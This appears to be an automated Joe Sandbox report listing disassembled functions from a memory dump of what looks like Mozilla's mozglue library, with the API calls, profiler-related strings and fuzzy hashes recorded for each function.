Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C793C, 6C6C79FB, 6C6C79C0, 6C6C7B0B, 6C6C7796, 6C6C7E0B

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7C03, 6C6C793C, 6C6C79FB, 6C6C79C0, 6C6C7B0B, 6C6C7C72, 6C6C7E0B

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

java, xrefs: 6C69CC37
noiostacks, xrefs: 6C69CCBE
notimerresolutionchange, xrefs: 6C69CE00
default, xrefs: 6C69CC21
processcpu, xrefs: 6C69CE6E
power, xrefs: 6C69CE84
nativeallocations, xrefs: 6C69CDA8
screenshots, xrefs: 6C69CCD4
stackwalk, xrefs: 6C69CCF8
ipcmessages, xrefs: 6C69CDBE
mainthreadio, xrefs: 6C69CC7C
audiocallbacktracing, xrefs: 6C69CDD4
samplingallthreads, xrefs: 6C69CE2C
unregisteredthreads, xrefs: 6C69CE58
leaf, xrefs: 6C69CC66
jsallocations, xrefs: 6C69CD0E
seqstyle, xrefs: 6C69CCE6
fileioall, xrefs: 6C69CCA8
cpuallthreads, xrefs: 6C69CE16
fileio, xrefs: 6C69CC92
nostacksampling, xrefs: 6C69CD7C
preferencereads, xrefs: 6C69CD92
Unrecognized feature "%s"., xrefs: 6C69CEA0
markersallthreads, xrefs: 6C69CE42

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
[I %d/%d] profiler_shutdown, xrefs: 6C664A06

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
l, xrefs: 6C664578
kernel32.dll, xrefs: 6C6644CD
NativeNtBlockSet_Write, xrefs: 6C6646F7
user32.dll, xrefs: 6C664557, 6C66463F

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
